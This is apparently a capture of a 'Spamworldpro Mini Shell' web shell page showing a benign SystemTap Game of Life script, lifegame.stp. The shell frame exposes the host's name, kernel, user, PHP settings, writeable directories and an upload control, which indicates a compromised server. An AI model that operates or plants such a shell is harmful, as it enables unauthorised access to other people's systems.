Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/rh/gcc-toolset-11/root/usr/share/systemtap/examples/stapgames/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/rh/gcc-toolset-11/root/usr/share/systemtap/examples/stapgames/lifegame.stp
#!/opt/rh/gcc-toolset-11/root/usr/bin/stap
# lifegame
# Copyright (C) 2008 Masami Hiramatsu <[email protected]>
#
# This file is free software and is distributed under the terms of the GNU
# General Public License (GPL); either version 2, or (at your option) any
# later version.

global X_MAX=15, Y_MAX=15
global map, tmp
global t

function showupdate()
{
  print("\033[1;1H\033[J") # clear screen
  delete map
  foreach([x,y] in tmp) {
    printf("\033[%d;%dH", y+1, x+1) # move cursor
    print("o")
    map[x,y] = 1
  }
  delete tmp
}

function lookaround(x,y)
{
  return map[x-1,y-1] + map[x,y-1] + map[x+1,y-1] +
         map[x-1,y  ]       +        map[x+1,y  ] +
         map[x-1,y+1] + map[x,y+1] + map[x+1,y+1]
}

probe timer.ms(10) {
  t ++
  if (t == Y_MAX) {
    showupdate()
    t = -1
    next # skip to the next timer.
  }
  # updating just 1 line
  y = t
  for (x=0; x < X_MAX; x++) {
    c = lookaround(x,y)
    if (c == 3) tmp[x,y] = 1
    else if (c == 2 && [x,y] in map) tmp[x,y] = map[x,y]
  }
}

probe begin {
   tmp[6,5] = 1; tmp[5,6] = 1; tmp[4,7] = 1; tmp[5,7] = 1
   tmp[6,7] = 1
   showupdate()
   t = -1
}


Spamworldpro Mini